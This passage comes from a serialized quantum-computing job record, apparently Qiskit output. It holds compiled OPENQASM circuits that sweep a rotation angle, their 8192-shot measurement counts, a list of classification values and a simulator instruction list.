'circuit1299', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 894, '0x1': 1439, '0x0': 3190, '0x2': 2669}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.70000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1301', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 785, '0x1': 1434, '0x0': 3309, '0x2': 2664}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.80000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1303', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 856, '0x1': 1313, '0x0': 3355, '0x2': 2668}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.90000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1305', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 848, '0x1': 1415, '0x0': 3210, '0x2': 2719}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(6.00000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1307', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 844, '0x1': 1373, '0x0': 3396, '0x2': 2579}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(6.10000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1309', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 885, '0x1': 1343, '0x0': 3351, '0x2': 2613}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(6.20000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1311', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 919, '0x1': 1347, '0x0': 3365, '0x2': 2561}}, 'success': True, 'shots': 8192}], 'classification': [0.0654296875, 0.04150390625, 0.0595703125, 0.070068359375, 0.060791015625, 0.073974609375, 0.072998046875, 0.09033203125, 0.088623046875, 0.087890625, 0.088623046875, 0.097412109375, 0.112548828125, 0.101318359375, 0.132080078125, 0.09326171875, 0.125732421875, 0.089599609375, 0.105224609375, 0.119384765625, 0.074951171875, 0.119384765625, 0.11474609375, 0.092529296875, 0.109375, 0.094970703125, 0.090087890625, 0.087890625, 0.068603515625, 0.051513671875, 0.07080078125, 0.035400390625, 0.020263671875, 0.041748046875, 0.02978515625, 0.020751953125, 0.01904296875, 0.024658203125, 0.001220703125, -0.002685546875, -0.005126953125, -0.00927734375, -0.014892578125, -0.014892578125, -0.03125, -0.01513671875, -0.020263671875, -0.024658203125, -0.04150390625, -0.026123046875, -0.02001953125, 0.01318359375, -0.0166015625, -0.0087890625, 0.0185546875, 0.00634765625, -0.0029296875, -0.00048828125, 0.028076171875, -0.00927734375, 0.03515625, 0.0341796875, 0.0458984375], 'noise_model': None, 'parameters': {}, 'external_id': 'job_20190324T100329Z'}, 'simulation': {'qobj': {'qobj_id': '34b05c0a-368b-44aa-bdab-e6b7c82a3f8c', 'config': {'shots': 8192, 'memory_slots': 2, 'max_credits': 315, 'memory': False, 'n_qubits': 5}, 'experiments': [{'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [0, -1.5707963267948966, 1.5707963267948966], 'texparams': ['0.0', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1187', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.0,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [0.1, -1.5707963267948966, 1.5707963267948966], 'texparams': ['0.1', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1189', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.100000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier 